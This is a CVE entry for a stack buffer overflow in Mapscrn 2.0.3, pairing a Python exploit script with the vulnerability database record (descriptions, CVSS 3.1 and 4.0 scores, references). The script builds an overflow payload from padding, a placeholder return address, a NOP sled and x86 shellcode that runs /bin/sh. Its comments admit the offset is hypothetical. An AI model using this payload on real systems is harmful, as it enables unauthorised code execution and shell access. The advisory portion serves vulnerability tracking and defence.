CVE-2017-20226

import sys # Exploit for CVE-2017-20226 Mapscrn Stack Buffer Overflow # Payload structure: Junk + RetAddr + NOP Sled + Shellcode # 1. Junk data to fill the buffer up to the return address offset = 1024 # Hypothetical offset, requires debugging junk = b"A" * offset # 2. Return address (Placeholder, needs to be a valid jump address) ret_addr = b"\xaf\x11\x40\x00" # 3. NOP Sled nopsled = b"\x90" * 32 # 4. Shellcode (Example: exec /bin/sh for Linux x86) shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" payload = junk + ret_addr + nopsled + shellcode # Output payload print(payload.decode('latin-1'))

{"cve": {"id": "CVE-2017-20226", "sourceIdentifier": "[email protected]", "published": "2026-03-28T12:16:01.810", "lastModified": "2026-05-01T14:41:28.180", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mapscrn 2.0.3 contains a stack-based buffer overflow vulnerability that allows local attackers to execute arbitrary code by supplying an oversized input buffer. Attackers can craft a malicious buffer with junk data, return address, NOP instructions, and shellcode to overflow the stack and achieve code execution or denial of service."}, {"lang": "es", "value": "Mapscrn 2.0.3 contiene una vulnerabilidad de desbordamiento de búfer basado en pila que permite a atacantes locales ejecutar código arbitrario al proporcionar un búfer de entrada sobredimensionado. Los atacantes pueden crear un búfer malicioso con datos basura, dirección de retorno, instrucciones NOP y shellcode para desbordar la pila y lograr la ejecución de código o la denegación de servicio."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "http://ccross.msk.su", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/42144", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/mapscrn-stack-based-buffer-overflow", "source": "[email protected]"}]}}